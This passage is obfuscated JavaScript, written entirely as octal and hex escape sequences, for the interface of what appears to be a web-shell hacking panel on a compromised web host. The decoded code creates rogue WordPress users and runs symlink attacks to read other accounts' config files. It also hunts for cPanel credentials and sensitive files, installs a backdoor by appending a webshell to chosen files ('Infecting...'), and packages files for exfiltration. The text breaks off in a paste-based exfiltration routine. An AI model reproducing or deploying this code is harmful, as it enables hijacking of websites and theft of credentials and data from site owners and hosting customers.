\105\154\145\x6d\x65\156\164\x42\171\x49\x64\50\47\x77\160\x2d\x6e\145\x77\x2d\x70\141\163\163\47\51\x2e\x76\x61\x6c\x75\145\x2c\40\x6e\x65\x77\x5f\x65\155\x61\151\x6c\x20\75\40\x64\x6f\143\x75\x6d\x65\x6e\x74\56\x67\145\164\x45\154\145\x6d\145\x6e\x74\102\171\111\x64\50\47\x77\x70\55\x6e\145\x77\x2d\x65\155\x61\x69\154\x27\x29\56\166\141\154\165\145\73\40\x69\x66\50\41\x63\157\x6e\146\151\147\137\x70\141\x74\150\x20\174\174\40\x21\x6e\145\167\137\165\163\x65\162\40\174\x7c\x20\x21\x6e\145\x77\137\160\x61\x73\x73\x20\x7c\174\40\41\x6e\145\x77\137\145\155\141\x69\x6c\51\40\x72\x65\x74\x75\162\x6e\40\x74\150\x69\x73\56\x74\157\x61\163\x74\x28\x27\101\x6c\154\x20\x66\151\145\154\144\x73\40\141\162\x65\x20\x72\x65\x71\165\x69\x72\x65\144\x2e\x27\54\x20\47\x65\162\x72\157\x72\x27\x29\73\x20\x63\x6f\156\163\164\40\162\145\163\40\75\40\x61\167\x61\151\164\x20\164\150\151\163\56\x61\x70\151\x28\x27\143\x72\x65\141\164\145\x5f\x77\x70\x5f\x75\x73\x65\x72\47\54\40\x7b\x20\x63\x6f\156\x66\x69\147\x5f\x70\141\164\150\54\x20\156\145\167\x5f\x75\163\x65\162\54\40\x6e\x65\167\137\160\141\x73\163\x2c\x20\x6e\145\x77\137\x65\x6d\x61\x69\x6c\x20\x7d\51\73\40\151\x66\40\50\162\145\163\51\x20\164\150\x69\x73\x2e\164\x6f\141\163\164\x28\162\x65\163\56\155\145\163\163\141\147\x65\54\40\x72\x65\x73\x2e\x73\x74\141\x74\x75\x73\x29\x3b\x20\x7d\x2c\12\x9\11\141\x73\x79\x6e\143\x20\151\x6e\151\164\103\155\x73\103\160\x61\156\x65\x6c\126\x69\145\x77\50\x29\x20\173\40\x63\157\156\x73\164\40\x72\145\163\40\75\40\x61\167\141\x69\164\x20\164\x68\x69\x73\x2e\141\160\x69\x28\x27\147\x65\x74\137\x75\163\x65\x72\x73\137\147\x72\157\165\x70\x73\x27\x29\x3b\40\x69\146\x20\x28\x72\145\x73\x20\46\46\x20\162\x65\x73\x2e\x73\164\x61\164\165\163\x20\75\x3d\75\x20\47\163\x75\x63\x63\145\163\163\47\40\x26\x26\40\162\145\163\x2e\165\x73\145\x72\x73\x29\x20\x7b\40\143\x6f\x6e\163\x74\40\x73\x65\x6c\145\143\x74\40\x3d\x20\144\x6f\143\x75\x6d\145\156\164\56\147\x65\164\x45\154\145\155\145\156\x74\102\171\x49\x64\50\x27\163\x79\155\x6c\151\156\x6b\x2d\164\141\x72\x67\145\164\55\165\x73\x65\x72\47\x29\73\x20\163\x65\154\145\x63\x74\56\x69\x6e\156\x65\x72\x48\124\x4d\114\x20\x3d\40\x72\145\x73\x2e\165\163\x65\162\x73\x2e\x66\151\154\x74\145\162\50\x75\40\75\76\x20\165\x2e\150\157\155\145\x2e\x73\164\141\162\164\163\127\x69\x74\150\x28\x27\x2f\x68\x6f\155\x65\57\x27\x29\51\56\155\x61\160\50\165\x20\x3d\x3e\40\140\x3c\x6f\x70\x74\x69\157\156\x20\166\x61\x6c\x75\x65\75\42\44\x7b\x75\56\x6e\x61\155\x65\175\x22\x3e\44\173\165\x2e\156\141\155\x65\175\x3c\x2f\x6f\x70\x74\151\157\x6e\76\x60\x29\x2e\152\x6f\x69\156\x28\47\x27\51\73\40\175\x20\175\54\12\x9\x9\141\163\171\156\x63\40\x72\x75\156\x53\x79\155\x6c\151\x6e\x6b\x28\x29\x20\173\x20\143\157\156\x73\x74\40\x75\x73\x65\162\40\75\x20\144\157\143\165\155\145\x6e\164\56\x67\145\164\x45\154\145\x6d\145\x6e\164\x42\171\111\x64\50\x27\x73\171\x6d\154\x69\156\x6b\x2d\x74\141\162\x67\145\164\x2d\165\x73\x65\x72\47\x29\56\166\x61\x6c\x75\145\73\40\151\x66\x20\x28\x21\165\x73\145\x72\x29\40\162\x65\x74\x75\162\156\40\164\150\151\163\56\164\x6f\141\x73\x74\x28\x27\x50\154\145\141\163\x65\x20\x73\145\x6c\x65\x63\164\40\x61\40\x75\163\x65\162\56\47\x2c\x20\x27\x65\x72\x72\x6f\x72\x27\51\73\x20\143\x6f\x6e\x73\x74\x20\157\x75\x74\x70\x75\x74\105\x6c\x20\75\40\144\157\143\165\x6d\145\156\164\x2e\x67\x65\x74\105\x6c\x65\155\x65\156\164\x42\x79\111\144\x28\47\x73\x79\x6d\154\x69\156\x6b\x2d\x72\145\163\165\x6c\164\x73\47\51\x3b\40\157\165\x74\x70\x75\x74\105\154\x2e\151\x6e\x6e\x65\x72\x48\x54\x4d\x4c\40\x3d\40\x27\x3c\160\x3e\x52\165\156\x6e\x69\156\147\x2e\x2e\x2e\x3c\x2f\x70\76\x27\x3b\x20\143\x6f\156\163\x74\x20\162\145\163\x20\75\x20\141\167\x61\151\x74\x20\164\x68\151\x73\56\x61\x70\x69\50\x27\x73\171\x6d\x6c\x69\156\153\137\143\x70\x61\x6e\x65\154\x27\54\40\x7b\40\165\x73\145\162\x20\x7d\51\x3b\40\151\x66\x20\50\162\145\163\x20\46\x26\x20\x72\145\163\56\163\x74\x61\x74\x75\x73\x20\x3d\75\x3d\x20\x27\163\165\143\143\x65\163\163\x27\51\x20\173\40\x69\146\x20\x28\x72\145\x73\56\162\x65\x73\x75\154\164\163\56\154\145\x6e\x67\164\x68\x20\76\x20\60\51\40\173\40\154\145\164\40\x68\164\x6d\154\x20\x3d\40\x27\74\x75\x6c\76\x27\x3b\40\x72\145\163\x2e\x72\145\x73\x75\x6c\164\x73\x2e\x66\157\162\x45\141\143\x68\x28\x69\x74\145\x6d\x20\75\x3e\40\173\40\x68\x74\155\154\x20\53\x3d\40\x60\74\x6c\151\x3e\44\x7b\x69\164\145\155\x2e\x74\141\162\x67\x65\x74\x7d\40\55\76\x20\74\141\x20\150\162\145\x66\75\42\44\x7b\x69\x74\x65\x6d\x2e\x6c\151\156\x6b\137\165\162\154\x7d\42\40\x74\x61\x72\x67\x65\x74\75\42\x5f\142\x6c\x61\156\153\x22\40\163\x74\x79\x6c\145\x3d\x22\143\157\154\x6f\x72\72\x76\x61\x72\x28\55\x2d\x61\143\143\x65\x6e\164\55\142\x6c\x75\145\51\x3b\x22\76\44\x7b\151\x74\x65\x6d\56\154\151\x6e\153\x5f\165\162\154\x7d\74\57\141\76\74\x2f\154\151\76\140\73\x20\x7d\x29\73\x20\150\164\155\x6c\40\53\x3d\x20\47\x3c\57\165\154\x3e\x27\x3b\x20\157\165\164\x70\165\164\x45\154\x2e\x69\156\156\145\162\110\x54\115\114\x20\75\x20\150\164\155\154\x3b\40\175\40\x65\154\x73\145\x20\173\x20\157\165\164\x70\x75\x74\x45\154\56\x69\x6e\156\x65\162\x48\124\115\x4c\40\x3d\x20\47\x3c\160\76\x4e\x6f\x20\143\157\155\155\157\x6e\x20\143\157\x6e\146\x69\147\40\146\x69\154\x65\x73\x20\x63\157\x75\154\x64\x20\x62\145\40\x6c\x69\x6e\153\x65\144\x20\x66\157\162\x20\164\x68\141\x74\40\x75\x73\145\x72\x2e\74\x2f\x70\x3e\x27\x3b\x20\x7d\x20\175\x20\x7d\54\xa\11\11\x61\163\x79\x6e\143\40\x66\151\156\x64\x43\x70\141\156\145\x6c\x43\x72\145\144\x73\x28\x29\40\x7b\40\x63\x6f\156\x73\164\40\157\x75\164\160\x75\x74\x45\154\40\x3d\40\144\157\143\165\155\x65\x6e\x74\56\x67\145\x74\105\x6c\x65\155\x65\x6e\164\x42\171\111\144\x28\x27\143\x70\x61\156\145\x6c\55\143\162\145\x64\x73\x2d\x6f\165\164\x70\x75\164\x27\51\73\x20\157\165\x74\x70\165\x74\x45\x6c\x2e\151\x6e\156\x65\x72\x54\x65\170\x74\40\x3d\40\x27\x53\145\x61\162\x63\x68\x69\x6e\147\x2e\56\x2e\x27\73\x20\143\x6f\x6e\163\164\x20\162\145\x73\40\75\x20\141\x77\x61\151\164\x20\164\x68\151\163\x2e\x61\x70\x69\50\x27\x66\151\x6e\x64\x5f\143\160\141\x6e\145\154\137\x63\162\145\144\x73\x27\x29\73\x20\151\x66\40\50\x72\x65\163\x20\x26\x26\40\x72\x65\x73\x2e\x73\164\x61\164\165\163\x20\x3d\75\75\x20\47\163\x75\143\x63\x65\163\163\47\51\40\x6f\165\164\x70\165\x74\105\154\56\x69\x6e\156\x65\x72\x48\x54\115\114\40\x3d\x20\162\145\x73\x2e\144\141\x74\x61\x3b\40\x7d\54\12\11\11\141\163\x79\x6e\143\x20\x72\x75\156\x46\151\x6e\x67\145\162\160\162\151\156\164\50\x29\x20\173\12\x9\x9\11\x63\x6f\x6e\x73\164\40\162\x65\163\165\154\x74\163\x45\154\x20\75\x20\x64\157\143\x75\x6d\x65\156\x74\56\x67\x65\164\x45\154\x65\x6d\x65\x6e\x74\102\x79\x49\144\x28\47\x66\x69\x6e\147\x65\x72\x70\162\x69\156\x74\55\x72\x65\x73\165\x6c\x74\163\x27\51\73\40\162\x65\163\x75\x6c\x74\163\105\154\x2e\163\164\171\x6c\x65\x2e\144\x69\x73\160\154\x61\x79\40\x3d\40\x27\142\154\157\x63\x6b\x27\73\40\x72\x65\x73\165\154\164\163\x45\154\56\151\x6e\x6e\145\162\x48\124\x4d\x4c\x20\75\40\x27\x3c\160\x3e\107\141\x74\x68\x65\162\x69\156\147\x20\146\151\156\147\145\x72\x70\x72\151\156\x74\56\56\x2e\x3c\x2f\160\x3e\x27\73\40\x63\157\156\x73\x74\40\x72\x65\x73\x20\75\40\x61\x77\x61\x69\x74\40\x74\x68\151\x73\x2e\141\x70\x69\50\x27\147\145\x74\137\x73\145\162\166\145\162\x5f\146\x69\156\147\x65\162\160\x72\151\x6e\x74\47\51\73\40\x69\x66\x20\50\162\145\x73\x20\46\x26\x20\162\x65\163\56\x73\x74\x61\x74\x75\163\x20\x3d\75\75\40\x27\163\x75\x63\x63\x65\x73\x73\x27\x29\x20\173\x20\x6c\145\164\40\150\164\155\x6c\x20\75\x20\x27\47\73\40\146\157\x72\x20\50\143\x6f\156\x73\x74\x20\133\x6b\x65\171\54\x20\x76\x61\x6c\x75\x65\135\40\157\146\x20\117\142\x6a\145\x63\x74\x2e\145\156\x74\162\x69\145\x73\x28\162\145\x73\56\144\141\x74\x61\x29\51\x20\173\40\x68\x74\x6d\x6c\40\x2b\x3d\40\140\x3c\x64\151\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\x63\x6f\156\146\151\x67\x2d\146\157\165\156\x64\x22\x3e\74\144\151\166\x20\143\154\141\163\x73\75\x22\143\x6f\156\146\151\147\55\146\157\x75\x6e\x64\55\x68\145\141\x64\x65\162\x22\x3e\x24\173\153\x65\171\x7d\74\x2f\144\x69\166\76\x3c\x64\x69\166\x20\143\x6c\141\x73\x73\75\42\x63\157\x6e\x66\x69\x67\55\x66\157\165\x6e\x64\55\x62\x6f\x64\x79\42\76\44\173\166\x61\154\x75\145\x2e\x72\145\x70\154\x61\143\145\x28\x2f\x3c\57\x67\x2c\x20\42\x26\x6c\x74\x3b\42\x29\56\162\x65\160\x6c\141\143\145\x28\x2f\76\x2f\147\x2c\40\42\x26\x67\164\73\x22\51\x7d\x3c\x2f\x64\x69\x76\76\x3c\57\x64\151\x76\76\x60\x3b\40\175\40\x72\145\163\x75\154\x74\163\105\x6c\x2e\151\156\156\x65\x72\110\x54\x4d\x4c\40\75\40\150\164\155\x6c\73\40\175\x20\145\x6c\x73\145\40\173\40\x72\145\x73\165\154\164\163\x45\x6c\x2e\151\x6e\156\x65\x72\110\124\115\x4c\x20\75\x20\x27\74\x70\x3e\x46\141\151\154\145\x64\x20\x74\157\40\x67\141\x74\x68\x65\162\40\146\x69\156\147\145\162\160\162\151\156\x74\56\74\x2f\160\76\47\x3b\40\x7d\xa\11\11\175\x2c\12\11\x9\x61\x73\171\156\143\x20\x72\x75\156\x53\145\156\163\151\x74\151\166\145\x53\x63\141\156\50\x29\40\173\12\x9\11\11\143\x6f\156\163\164\40\160\141\x74\x68\40\x3d\40\x64\157\143\165\x6d\145\156\x74\x2e\x67\x65\164\105\154\145\155\145\x6e\164\102\x79\x49\144\50\x27\x73\145\x6e\163\151\x74\151\x76\x65\x2d\x73\143\x61\x6e\x2d\160\x61\164\x68\x27\51\x2e\166\x61\x6c\x75\x65\73\x20\151\146\40\50\x21\x70\x61\164\x68\51\x20\162\145\x74\165\x72\156\x20\x74\x68\x69\x73\x2e\164\x6f\141\x73\164\50\47\120\141\164\x68\x20\151\x73\40\x72\x65\x71\165\x69\x72\145\144\56\x27\54\40\x27\145\x72\x72\x6f\162\47\x29\x3b\x20\x63\157\156\x73\164\40\162\145\x73\x75\154\164\163\105\154\x20\x3d\x20\x64\157\x63\x75\x6d\145\x6e\x74\x2e\x67\145\x74\x45\154\x65\x6d\x65\x6e\164\102\x79\x49\144\50\x27\x73\145\156\163\151\x74\151\x76\145\x2d\x73\143\141\156\x2d\162\x65\163\x75\x6c\164\163\x27\51\x3b\x20\x72\145\x73\165\x6c\x74\163\x45\x6c\x2e\163\164\x79\154\x65\x2e\x64\x69\x73\x70\x6c\x61\171\40\x3d\40\47\142\x6c\157\143\x6b\x27\73\x20\x72\x65\x73\x75\154\x74\x73\x45\154\x2e\x69\156\156\x65\x72\110\x54\115\114\x20\x3d\x20\x27\x3c\x70\76\x53\x63\141\x6e\156\x69\156\x67\40\146\x6f\x72\x20\163\145\x6e\x73\x69\164\151\166\145\x20\146\151\x6c\x65\163\56\56\56\x3c\57\160\x3e\47\x3b\x20\143\x6f\x6e\163\164\x20\x72\x65\x73\x20\x3d\x20\x61\167\x61\x69\x74\40\164\150\151\x73\x2e\x61\160\x69\x28\47\x66\x69\x6e\x64\x5f\x73\x65\156\163\151\164\x69\x76\145\x5f\146\x69\154\x65\x73\47\x2c\40\x7b\40\x70\141\x74\x68\x20\175\51\73\40\x69\146\x20\50\162\145\163\x20\46\46\40\162\145\163\56\163\x74\x61\164\165\x73\x20\x3d\x3d\75\40\x27\x73\x75\143\143\145\x73\163\x27\51\x20\173\40\x6c\x65\x74\40\150\164\155\154\x20\x3d\x20\47\x27\x3b\40\x66\157\162\x20\x28\143\x6f\156\163\x74\x20\133\153\x65\x79\54\x20\x76\141\154\x75\145\135\x20\157\146\x20\x4f\142\x6a\145\143\164\56\x65\x6e\164\x72\x69\145\x73\x28\162\145\163\56\144\141\164\x61\x29\x29\x20\173\x20\x68\x74\x6d\x6c\40\x2b\75\x20\140\x3c\x68\x33\x3e\x24\x7b\x6b\145\171\175\x3c\57\150\x33\x3e\74\x70\x72\x65\40\143\154\x61\163\163\x3d\x22\157\x75\x74\160\x75\x74\55\142\x6f\x78\x22\x3e\x24\x7b\166\141\154\165\x65\x7d\74\57\x70\x72\x65\76\140\x3b\40\x7d\x20\x72\x65\163\x75\x6c\x74\163\x45\154\x2e\151\156\156\x65\162\110\124\115\x4c\x20\75\x20\150\164\155\154\73\40\175\40\145\x6c\163\x65\x20\x7b\x20\162\145\163\165\154\x74\163\x45\x6c\56\151\156\x6e\x65\162\110\124\x4d\114\40\x3d\40\47\74\x70\76\x53\x63\141\x6e\x20\x66\141\151\x6c\145\x64\x2e\74\57\x70\76\47\x3b\x20\x7d\xa\x9\11\175\x2c\12\11\x9\x61\x73\x79\x6e\x63\x20\162\165\x6e\115\157\156\x69\x74\x6f\162\x28\x29\40\173\xa\11\11\x9\143\x6f\156\x73\164\40\160\141\164\x68\x20\x3d\40\144\x6f\143\165\155\145\x6e\164\x2e\147\x65\164\105\154\145\155\x65\156\164\x42\x79\111\144\x28\47\x6d\157\156\151\x74\x6f\x72\x2d\160\x61\164\150\47\51\x2e\x76\141\x6c\x75\x65\x2c\40\x64\165\x72\141\x74\151\157\156\40\75\40\x64\x6f\x63\165\155\x65\156\x74\x2e\147\x65\x74\105\154\145\x6d\145\x6e\x74\102\x79\111\x64\50\x27\155\157\156\x69\164\157\x72\55\144\x75\x72\x61\x74\x69\x6f\156\x27\51\x2e\166\x61\x6c\x75\x65\54\40\157\165\164\x70\x75\x74\x45\154\40\x3d\40\144\x6f\143\x75\155\x65\156\164\x2e\x67\145\164\x45\154\145\155\x65\x6e\x74\x42\171\x49\x64\x28\47\155\x6f\156\151\164\x6f\x72\x2d\x72\x65\x73\x75\x6c\164\x73\47\51\73\40\151\x66\x20\50\41\160\141\x74\150\51\x20\162\x65\164\165\162\x6e\x20\x74\x68\x69\163\x2e\x74\x6f\x61\163\x74\x28\47\120\141\164\x68\40\x69\x73\40\162\x65\x71\165\151\162\x65\144\x2e\47\54\40\x27\145\162\162\x6f\x72\47\51\73\12\11\x9\11\x6f\165\x74\x70\x75\x74\105\x6c\56\x69\x6e\x6e\x65\162\124\x65\170\x74\40\75\40\140\x4d\x6f\156\x69\x74\157\162\151\156\x67\x20\x24\173\160\141\164\150\x7d\x20\x66\157\162\40\44\173\x64\165\162\141\164\151\x6f\x6e\x7d\x20\x73\x65\x63\157\x6e\144\x73\56\56\56\x60\73\x20\164\150\x69\163\56\164\x6f\141\163\164\50\140\x4d\157\156\x69\x74\x6f\x72\151\x6e\147\x20\x66\157\x72\x20\x24\x7b\x64\x75\162\141\164\151\x6f\x6e\175\x73\56\x2e\56\x60\51\73\xa\x9\11\11\143\x6f\x6e\x73\x74\x20\x72\145\x73\40\x3d\x20\x61\167\x61\x69\164\40\x74\150\x69\163\56\141\x70\x69\x28\47\155\157\156\x69\164\x6f\162\x5f\x63\150\x61\x6e\x67\x65\163\47\x2c\40\x7b\x20\x70\141\164\x68\x2c\40\x64\x75\x72\141\x74\x69\157\x6e\x20\175\51\x3b\12\x9\11\11\x69\146\x20\x28\x72\x65\163\x20\46\46\40\162\x65\x73\x2e\x73\164\141\x74\165\163\x20\x3d\x3d\x3d\40\47\x73\x75\x63\143\x65\x73\x73\47\x29\40\x7b\40\x63\x6f\156\x73\x74\x20\x7b\x20\143\162\145\141\164\x65\144\54\40\x64\x65\154\x65\164\x65\144\54\x20\155\157\144\151\x66\x69\x65\x64\40\175\40\75\40\162\x65\163\x2e\143\150\x61\156\x67\145\163\x3b\40\x6c\145\164\x20\x68\164\155\154\40\75\40\x60\x3c\163\x74\x72\x6f\156\147\76\x43\162\145\x61\164\x65\x64\72\x3c\57\x73\x74\162\157\156\x67\x3e\x20\44\173\x63\x72\145\x61\x74\x65\x64\x2e\x6c\x65\x6e\x67\164\x68\175\x5c\156\44\173\x63\x72\145\141\x74\x65\x64\x2e\152\x6f\x69\156\50\x27\134\156\47\51\x7d\134\x6e\134\x6e\140\x3b\x20\150\x74\x6d\x6c\40\x2b\x3d\40\x60\x3c\163\x74\162\157\156\147\x3e\104\x65\x6c\x65\x74\x65\x64\x3a\74\x2f\163\164\x72\x6f\156\147\76\x20\44\x7b\x64\x65\x6c\x65\164\x65\x64\x2e\x6c\145\x6e\x67\x74\x68\175\134\x6e\44\173\x64\x65\154\x65\164\145\144\x2e\152\x6f\x69\x6e\x28\47\x5c\156\x27\x29\x7d\134\x6e\x5c\156\140\x3b\x20\150\164\155\154\40\53\x3d\40\140\x3c\x73\164\162\x6f\156\x67\76\115\x6f\x64\x69\x66\x69\145\x64\72\74\x2f\163\164\x72\157\156\x67\x3e\x20\x24\173\x6d\x6f\x64\151\x66\151\145\144\x2e\x6c\145\x6e\147\164\150\x7d\x5c\x6e\44\x7b\155\x6f\x64\x69\146\x69\145\x64\x2e\x6a\x6f\x69\156\x28\x27\x5c\156\47\x29\x7d\140\x3b\40\x6f\165\x74\160\165\164\x45\x6c\x2e\151\156\156\145\x72\x54\x65\170\164\40\x3d\x20\150\x74\155\154\73\x20\x74\x68\x69\x73\56\x74\x6f\141\x73\164\x28\x27\115\157\x6e\x69\164\x6f\x72\151\x6e\147\40\x63\157\155\x70\x6c\145\164\145\x2e\x27\x29\x3b\x20\x7d\x20\145\154\x73\x65\x20\x7b\x20\157\165\x74\x70\x75\x74\105\154\x2e\151\156\x6e\145\x72\x54\x65\x78\x74\x20\x3d\40\47\115\157\156\151\x74\157\x72\x69\x6e\147\x20\146\141\151\154\145\144\56\47\73\x20\x7d\12\11\11\x7d\x2c\12\x9\x9\x61\x73\x79\x6e\x63\x20\x72\165\156\x42\141\x63\153\144\x6f\157\162\x49\156\x73\164\x61\x6c\154\145\x72\50\x29\40\x7b\12\11\11\11\143\x6f\x6e\163\164\40\164\141\x72\x67\145\164\163\x20\75\x20\144\x6f\143\165\x6d\145\156\x74\x2e\x67\x65\164\x45\154\145\155\x65\x6e\x74\102\171\111\x64\x28\x27\142\x61\x63\x6b\x64\157\157\x72\55\164\x61\162\x67\145\164\163\47\x29\56\x76\x61\x6c\x75\145\73\x20\151\146\40\x28\41\164\x61\162\x67\145\x74\x73\x29\x20\x72\x65\x74\x75\x72\x6e\x20\x74\150\x69\163\x2e\164\x6f\x61\x73\x74\50\47\x4e\157\x20\x74\x61\162\x67\145\164\40\146\x69\x6c\145\163\40\x73\160\x65\x63\151\146\x69\145\144\x2e\x27\54\x20\47\145\162\162\x6f\x72\x27\x29\x3b\12\11\x9\x9\x63\x6f\x6e\163\164\40\x63\157\156\x66\x69\x72\155\145\144\40\75\x20\141\167\x61\151\164\x20\164\150\x69\163\56\x73\x68\157\x77\x43\x6f\x6e\x66\151\x72\x6d\115\157\144\x61\x6c\50\47\x54\x68\x69\163\x20\167\151\154\x6c\40\x61\160\160\x65\x6e\144\40\x61\x20\x73\151\x6d\160\154\x65\x20\167\x65\142\x73\x68\x65\x6c\154\x20\164\157\40\164\150\x65\x20\163\x70\145\x63\151\146\151\145\x64\x20\x66\x69\154\145\163\x2e\x20\x41\x72\145\x20\171\x6f\x75\x20\163\x75\x72\145\x3f\x27\54\40\173\40\x74\x79\160\145\72\x20\x27\x77\x61\x72\156\x69\x6e\x67\47\x20\x7d\51\x3b\40\151\x66\40\50\41\143\x6f\x6e\x66\x69\162\155\x65\144\51\x20\x72\145\x74\165\162\x6e\73\12\11\11\x9\143\157\156\163\164\40\162\x65\x73\165\x6c\x74\x73\x45\154\x20\x3d\40\144\x6f\x63\x75\x6d\x65\156\x74\56\147\145\x74\x45\x6c\145\x6d\145\x6e\164\102\x79\111\144\50\47\142\x61\143\153\x64\x6f\x6f\162\x2d\x72\x65\163\165\x6c\164\x73\47\x29\x3b\x20\x72\145\x73\165\x6c\164\x73\105\154\x2e\x69\x6e\156\145\x72\110\x54\x4d\114\40\75\x20\x27\x3c\x70\76\111\156\146\x65\x63\x74\151\x6e\147\56\x2e\56\74\57\x70\x3e\47\x3b\xa\x9\11\11\x63\x6f\156\163\x74\40\162\x65\163\40\75\x20\x61\x77\141\151\164\x20\164\150\x69\163\x2e\141\160\x69\x28\47\142\x61\x63\153\144\x6f\x6f\162\137\151\156\x73\x74\141\154\154\x65\x72\47\54\40\x7b\x20\x74\141\162\x67\145\x74\163\x20\x7d\x29\73\xa\x9\x9\x9\x69\146\40\50\x72\145\x73\x20\46\x26\x20\x72\145\163\x2e\163\x74\141\x74\165\163\x20\75\x3d\75\40\x27\163\165\x63\x63\x65\163\163\x27\51\40\x7b\40\154\x65\164\40\x68\x74\x6d\x6c\40\75\x20\47\74\165\154\x3e\x27\x3b\x20\x66\157\162\x20\50\x63\157\156\x73\164\40\133\x66\x69\154\x65\x2c\40\162\x65\x73\x75\154\164\135\40\157\146\40\x4f\x62\x6a\x65\x63\x74\56\x65\x6e\164\x72\151\x65\x73\50\162\x65\x73\56\162\145\163\165\154\164\x73\51\51\x20\173\40\x68\x74\x6d\154\40\x2b\75\x20\x60\74\154\151\76\44\173\x66\x69\154\145\175\72\40\74\x73\160\141\x6e\40\x73\164\171\154\x65\75\x22\x63\x6f\154\157\162\72\44\x7b\162\x65\x73\165\154\164\x20\75\75\75\x20\x27\123\165\x63\x63\x65\x73\163\x27\x20\77\40\47\x76\x61\162\x28\x2d\x2d\x61\143\x63\145\156\164\55\147\162\145\x65\156\51\x27\x20\x3a\40\47\x76\141\162\x28\x2d\55\141\x63\143\x65\x6e\164\55\x72\x65\144\x29\47\x7d\42\x3e\44\173\x72\145\163\x75\x6c\164\x7d\74\x2f\x73\x70\x61\x6e\x3e\74\57\154\151\76\x60\x3b\x20\x7d\40\150\164\x6d\154\40\x2b\75\x20\x27\74\x2f\x75\x6c\76\47\x3b\x20\162\145\x73\165\154\164\x73\105\x6c\x2e\151\156\x6e\x65\162\x48\124\x4d\114\x20\75\x20\x68\x74\155\154\73\40\175\xa\x9\x9\x7d\54\12\x9\11\141\x73\x79\x6e\143\x20\x72\165\156\105\170\146\x69\x6c\50\51\40\x7b\xa\x9\11\x9\x63\157\x6e\x73\x74\x20\x73\x65\x6c\145\143\x74\145\x64\111\164\145\x6d\x73\x20\x3d\40\x41\x72\162\x61\x79\56\x66\x72\157\155\x28\x64\x6f\143\165\155\145\156\x74\x2e\161\x75\145\162\x79\123\x65\x6c\145\x63\x74\157\162\x41\x6c\154\50\47\43\145\x78\x66\151\x6c\x2d\x64\151\x72\55\x74\x72\145\x65\x20\x69\156\x70\165\x74\72\x63\150\x65\x63\153\145\x64\47\x29\51\56\x6d\x61\x70\x28\143\142\x20\75\76\x20\x63\x62\56\166\141\154\165\x65\51\73\x20\151\x66\x20\x28\163\145\x6c\x65\x63\x74\145\144\111\164\145\155\x73\56\154\x65\156\147\164\150\x20\x3d\x3d\75\40\x30\x29\x20\162\x65\164\165\x72\156\40\164\150\x69\x73\56\x74\157\141\x73\x74\x28\47\x50\x6c\145\x61\163\145\x20\163\x65\x6c\145\143\x74\40\141\164\40\154\x65\x61\x73\164\x20\x6f\156\145\40\x66\x69\154\x65\x20\157\x72\40\144\151\162\x65\x63\x74\x6f\162\171\x2e\x27\x2c\40\x27\145\x72\x72\x6f\162\x27\x29\73\12\x9\x9\x9\x63\157\156\163\164\40\162\x65\163\165\154\x74\x73\105\154\x20\x3d\40\144\157\143\x75\155\x65\x6e\164\x2e\x67\145\164\x45\x6c\x65\155\145\156\x74\x42\171\111\144\x28\x27\145\x78\146\151\x6c\55\x72\145\163\x75\154\164\x73\x27\x29\73\40\162\145\x73\x75\154\x74\163\105\154\x2e\x69\x6e\x6e\145\x72\x48\124\115\x4c\40\x3d\x20\47\74\160\76\x50\x61\x63\x6b\x61\147\x69\x6e\x67\x20\x66\151\x6c\145\x73\56\56\x2e\74\57\160\x3e\x27\x3b\40\164\x68\x69\163\x2e\164\x6f\141\x73\164\50\47\103\162\145\141\x74\151\156\x67\x20\141\x72\x63\150\x69\x76\x65\56\56\56\47\51\73\xa\11\x9\x9\143\x6f\156\x73\x74\40\162\145\163\x20\x3d\x20\x61\167\x61\151\164\40\164\x68\x69\163\x2e\141\160\151\x28\x27\x65\170\146\151\x6c\137\144\x61\164\x61\x27\54\40\173\40\151\164\x65\x6d\163\x3a\x20\x4a\123\x4f\116\56\x73\164\162\151\x6e\147\x69\x66\x79\x28\x73\x65\x6c\x65\x63\164\145\144\111\164\145\x6d\163\51\40\175\51\x3b\xa\x9\x9\x9\x69\x66\40\x28\162\145\x73\x20\x26\x26\40\x72\x65\163\56\x73\164\141\164\x75\x73\40\x3d\75\x3d\40\47\x73\x75\143\143\145\x73\x73\x27\x29\x20\x7b\40\x72\145\x73\165\x6c\x74\x73\105\154\x2e\151\156\156\x65\162\x48\124\x4d\114\40\75\x20\140\x3c\x70\x20\163\x74\x79\154\x65\75\42\143\x6f\154\157\x72\72\x76\141\162\50\55\x2d\141\143\x63\145\x6e\x74\x2d\x67\x72\145\x65\x6e\x29\73\42\76\101\x72\143\150\151\166\145\x20\x72\145\141\144\x79\41\40\74\141\40\150\x72\x65\146\75\x22\44\x7b\x72\145\x73\x2e\x64\157\x77\156\x6c\x6f\141\x64\137\165\162\x6c\175\42\x20\163\x74\171\x6c\x65\x3d\x22\x63\157\x6c\157\x72\72\166\x61\x72\50\x2d\55\x61\x63\143\145\x6e\x74\55\142\x6c\165\x65\51\73\42\x3e\103\154\x69\143\153\40\x68\145\x72\x65\x20\x74\x6f\x20\x64\157\x77\156\154\157\141\144\56\74\x2f\x61\76\74\x2f\x70\x3e\x3c\x70\40\x73\x74\171\154\145\75\x22\x63\157\154\x6f\x72\x3a\166\x61\x72\x28\x2d\55\x74\x65\x78\164\55\155\x65\144\x29\73\x20\146\157\156\164\55\163\x69\x7a\145\x3a\x20\60\56\70\162\145\x6d\73\x22\76\114\x69\x6e\153\x20\151\x73\x20\166\x61\154\151\144\40\x66\157\162\40\x6f\156\145\40\144\157\x77\156\x6c\157\141\x64\x20\x61\x6e\144\40\167\151\x6c\154\40\x65\x78\x70\x69\162\x65\x2e\x3c\57\x70\76\140\73\x20\x7d\x20\145\x6c\x73\x65\40\173\40\x72\145\163\x75\x6c\x74\x73\x45\154\56\x69\x6e\x6e\145\162\110\124\115\114\40\75\40\47\74\160\x20\163\164\x79\x6c\x65\x3d\42\x63\157\x6c\x6f\162\x3a\166\141\162\x28\55\55\x61\x63\143\x65\156\x74\55\x72\x65\x64\51\73\x22\x3e\x46\141\x69\154\x65\144\x20\x74\157\x20\143\162\145\x61\164\x65\40\x61\x72\x63\x68\x69\166\145\x2e\74\57\x70\x3e\47\73\40\175\12\x9\x9\175\54\12\x9\x9\x61\163\171\156\x63\40\x65\x78\146\x69\154\126\x69\x61\120\x61\x73\164\x65\50\160\141\164\150\51\x20\173\40\143\x6f\156\163\x74\40\x63\x6f\156\146\x69\162\155\145\x64\40\75\40\141\167\x61\151\x74\40\x74\x68\x69\x73\56\x73\150\x6f\x77\103\x6f\x6e\x66\151\x72\x6d\115\x6f\x64\141\154\x28\x60\124\x68\x69\163\x20\